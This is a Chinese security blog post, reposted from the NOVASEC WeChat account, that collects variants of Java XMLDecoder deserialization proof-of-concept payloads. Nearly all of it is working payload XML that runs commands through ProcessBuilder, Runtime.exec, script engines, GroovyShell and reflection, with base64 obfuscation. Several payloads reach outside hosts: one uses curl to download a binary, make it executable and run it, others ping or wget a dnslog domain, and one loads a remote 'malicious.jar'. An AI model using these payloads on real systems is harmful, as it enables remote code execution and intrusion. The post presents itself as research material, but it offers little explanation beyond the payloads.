记录一些简单的Java XMLDecode反序列化POC变形
<javaversion="1.8.0"class="java.beans.XMLDecoder">
<objectclass="java.lang.ProcessBuilder">
<arrayclass="java.lang.String"length="1">
<voidindex="0"><string>calc</string></void>
</array>
<voidmethod="start"></void>
</object>
</java>
<javaversion="1.8.0"class="java.beans.XMLDecoder">
<objectclass="java.lang.ProcessBuilder">
<arrayclass="java.lang.String"length="1">
<voidindex="0"><string>curl http://www.dddd.com:7777/as -O && chmod +x as && nohup ./as &</string></void>
</array>
<voidmethod="start"></void>
</object>
</java>
<javaversion="1.8.0"class="java.beans.XMLDecoder">
<objectclass="java.lang.ProcessBuilder">
<arrayclass="java.lang.String"length="1">
<voidindex="0"><string>ping -c 1 -n 1 xxxxx.dnslog.cn</string></void>
</array>
<voidmethod="start"></void>
</object>
</java>
<javaversion="1.8.0"class="java.beans.XMLDecoder">
<objectclass="java.lang.ProcessBuilder">
<arrayclass="java.lang.String"length="3">
<voidindex="0"><string>powershell</string></void>
<voidindex="1"><string>-Command</string></void>
<voidindex="2"><string>calc</string></void>
</array>
<voidmethod="start"></void>
</object>
</java>
<javaversion="1.8.0"class="java.beans.XMLDecoder">
<objectclass="java.lang.Runtime"method="getRuntime">
<voidmethod="exec">
<arrayclass="java.lang.String"length="3">
<voidindex="0">
<string>powershell</string>
</void>
<voidindex="1">
<string>-Command</string>
</void>
<voidindex="2">
<string>Start-Process calc.exe</string>
</void>
</array>
</void>
</object>
</java>
<javaversion="1.8.0_202"class="java.beans.XMLDecoder">
<objectclass="java.lang.Runtime"method="getRuntime">
<voidmethod="exec">
<arrayclass="java.lang.String"length="1">
<voidindex="0">
<string>calc</string>
</void>
</array>
</void>
</object>
</java>
<javaversion="1.8.0_202"class="java.beans.XMLDecoder">
<objectclass="java.lang.Runtime"method="getRuntime">
<voidmethod="exec">
<arrayclass="java.lang.String"length="1">
<voidindex="0">
<string>curl http://www.dddd.com:7777/as -O && chmod +x as && nohup ./as &</string>
</void>
</array>
</void>
</object>
</java>
<javaversion="1.8.0_202"class="java.beans.XMLDecoder">
<objectclass="java.lang.Runtime"method="getRuntime">
<voidmethod="exec">
<arrayclass="java.lang.String"length="1">
<voidindex="0">
<string>wget http://xxxxx.dnslog.cn</string>
</void>
</array>
</void>
</object>
</java>
<javaversion="1.8.0"class="java.beans.XMLDecoder">
<objectclass="java.lang.ProcessBuilder">
<arrayclass="java.lang.String"length="3">
<!-- 调用 base64 解码命令 -->
<voidindex="0"><string>/bin/sh</string></void>
<voidindex="1"><string>-c</string></void>
<voidindex="2"><string>echo Y2FsYwo= | base64 -d | cmd</string></void>
</array>
<voidmethod="start"></void>
</object>
</java>
<javaversion="1.8.0"class="java.beans.XMLDecoder">
<objectclass="java.lang.ProcessBuilder">
<arrayclass="java.lang.String"length="3">
<voidindex="0"><string>powershell</string></void>
<voidindex="1"><string>-Command</string></void>
<voidindex="2"><string>"Start-Process [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Y2FsYwo='))"</string></void>
</array>
<voidmethod="start"></void>
</object>
</java>
<javaversion="1.8.0"class="java.beans.XMLDecoder">
<objectclass="java.lang.ProcessBuilder">
<arrayclass="java.lang.String"length="3">
<!-- 调用 PowerShell -->
<voidindex="0">
<string>powershell</string>
</void>
<!-- 使用 -Command 参数执行命令 -->
<voidindex="1">
<string>-Command</string>
</void>
<!-- 解码 Base64 并启动 calc -->
<voidindex="2">
<string>Start-Process -FilePath ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcV2luZG93c1xTeXN0ZW0zMlxjYWxjLmV4ZQ==')))</string>
</void>
</array>
<!-- 启动进程 -->
<voidmethod="start"/>
</object>
</java>
<javaversion="1.8.0"class="java.beans.XMLDecoder">
<objectclass="java.lang.ProcessBuilder">
<arrayclass="java.lang.String"length="3">
<!-- 调用 PowerShell -->
<voidindex="0">
<string>powershell</string>
</void>
<!-- 使用 -Command 参数执行命令 -->
<voidindex="1">
<string>-Command</string>
</void>
<!-- 解码 Base64 并启动 calc -->
<voidindex="2">
<string>Start-Process -FilePath ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcV2luZG93c1xTeXN0ZW0zMlxjYWxjLmV4ZQ==')))</string>
</void>
</array>
<!-- 启动进程 -->
<voidmethod="start"/>
</object>
</java>
<javaversion="1.8.0"class="java.beans.XMLDecoder">
<objectclass="java.lang.ProcessBuilder">
<arrayclass="java.lang.String"length="3">
<voidindex="0">
<string>/bin/bash</string>
</void>
<voidindex="1">
<string>-c</string>
</void>
<voidindex="2">
<string>echo Y2FsYwo= | base64 -d | bash</string>
</void>
</array>
<voidmethod="start"/>
</object>
</java>
<javaversion="1.8.0_202"class="java.beans.XMLDecoder">
<!-- 创建一个 ProcessBuilder 对象 -->
<objectclass="java.lang.ProcessBuilder">
<arrayclass="java.lang.String"length="1">
<voidindex="0">
<!-- 将 Base64 字符串解码为字节数组,并转换为字符串 -->
<objectclass="java.lang.String">
<arrayclass="byte">
<!-- 调用 Base64 解码器 -->
<voidmethod="decode">
<objectclass="java.util.Base64"method="getDecoder"/>
<string>Y2FsYw==</string> <!-- Base64 编码的 "calc" -->
</void>
</array>
</object>
</void>
</array>
<!-- 启动进程 -->
<voidmethod="start"/>
</object>
</java>
<javaversion="1.8.0_202"class="java.beans.XMLDecoder">
<objectclass="java.lang.ProcessBuilder">
<arrayclass="java.lang.String"length="1">
<!-- 使用字节数组表示字符串 "calc" -->
<voidindex="0">
<string><objectclass="java.lang.String"><arrayclass="byte"length="4">
<voidindex="0"><byte>99</byte></void> <!-- c -->
<voidindex="1"><byte>97</byte></void> <!-- a -->
<voidindex="2"><byte>108</byte></void> <!-- l -->
<voidindex="3"><byte>99</byte></void> <!-- c -->
</array></object></string>
</void>
</array>
<voidmethod="start"></void>
</object>
</java>
<javaversion="1.8.0_202"class="java.beans.XMLDecoder">
<objectclass="javax.script.ScriptEngineManager"method="newInstance">
<voidmethod="getEngineByName">
<string>JavaScript</string>
<voidmethod="eval">
<string>java.lang.Runtime.getRuntime().exec("calc")</string>
</void>
</void>
</object>
</java>
0x06 GroovyShell
<javaversion="1.8.0_202"class="java.beans.XMLDecoder">
<objectclass="groovy.lang.GroovyShell">
<voidmethod="evaluate">
<string>Runtime.getRuntime().exec("calc")</string>
</void>
</object>
</java>
<javaversion="1.8.0_202"class="java.beans.XMLDecoder">
<objectclass="java.lang.Thread">
<voidmethod="start">
<objectclass="java.lang.Runnable">
<voidmethod="run">
<objectclass="java.lang.Runtime"method="getRuntime">
<voidmethod="exec">
<arrayclass="java.lang.String"length="1">
<voidindex="0">
<string>calc</string>
</void>
</array>
</void>
</object>
</void>
</object>
</void>
</object>
</java>
<javaversion="1.8.0_202"class="java.beans.XMLDecoder">
<objectclass="java.net.URLClassLoader">
<arrayclass="java.net.URL"length="1">
<voidindex="0">
<objectclass="java.net.URL">
<string>http://example.com/malicious.jar</string>
</object>
</void>
</array>
<voidmethod="loadClass">
<string>MaliciousClass</string>
<voidmethod="newInstance"/>
</void>
</object>
</java>
<javaversion="1.8.0_202"class="java.beans.XMLDecoder">
<objectclass="java.net.URLClassLoader">
<arrayclass="java.net.URL"length="1">
<voidindex="0">
<!-- 本地文件路径,指向 MaliciousClass.class 所在的目录 -->
<objectclass="java.net.URL">
<string>file:///C:/XXX/</string>
</object>
</void>
</array>
<voidmethod="loadClass">
<string>MaliciousClass</string>
<voidmethod="newInstance"/>
</void>
</object>
</java>
<javaversion="1.8.0_202"class="java.beans.XMLDecoder">
<objectclass="java.lang.Class"method="forName">
<string>java.lang.Runtime</string>
<voidmethod="getMethod">
<string>exec</string>
<arrayclass="java.lang.Class"length="1">
<voidindex="0">
<objectclass="java.lang.Class"method="forName">
<string>java.lang.String</string>
</object>
</void>
</array>
<voidmethod="invoke">
<objectclass="java.lang.Runtime"method="getRuntime"/>
<arrayclass="java.lang.Object"length="1">
<voidindex="0">
<string>calc</string>
</void>
</array>
</void>
</void>
</object>
</java>
END
如您有任何投稿、问题、需求、建议
请NOVASEC公众号后台留言!
或添加 NOVASEC 联系人
感谢您对我们的支持、点赞和关注
加入我们与萌新一起成长吧!
本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!!
原文始发于微信公众号(NOVASEC):Java XMLDecode反序列化POC变形
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论